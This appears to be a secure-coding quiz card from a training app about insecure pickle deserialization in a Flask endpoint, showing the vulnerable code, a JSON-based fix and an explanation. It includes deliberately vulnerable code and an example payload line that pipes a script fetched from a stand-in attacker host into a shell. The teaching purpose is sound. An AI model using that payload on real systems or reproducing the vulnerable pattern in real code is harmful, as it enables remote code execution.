SecPrep logoSecPrep

What is the critical vulnerability in this endpoint and how do you remediate it?

Vulnerable code

python
import pickle, base64
from flask import request

@app.route('/load')
def load_session():
    data = base64.b64decode(request.cookies['session'])
    obj = pickle.loads(data)  # danger!
    return str(obj)
Insecure Deserialization (RCE)

Fixed

python
import json
from flask import request

@app.route('/load')
def load_session():
    raw = request.cookies.get('session', '{}')
    obj = json.loads(raw)  # safe format, validate schema next
    # TODO: validate obj against expected schema
    return str(obj)

Insecure Deserialization leading to Remote Code Execution (RCE). Python's pickle format allows arbitrary Python objects to be serialised, including objects whose __reduce__ method runs code when unpickled. An attacker base64-encodes a crafted pickle payload that calls os.system('curl attacker.com/shell | sh') and sends it as the session cookie. pickle.loads() happily executes it with the process's full privileges.

The fix: never use pickle (or Java's ObjectInputStream, PHP's unserialize(), etc.) to deserialise untrusted input. Switch to a data-only format like JSON and validate the schema after parsing — JSON cannot carry executable code. If you must use a binary format, use protobuf or msgpack (data-only) and still validate the parsed result.

Practice this in the app →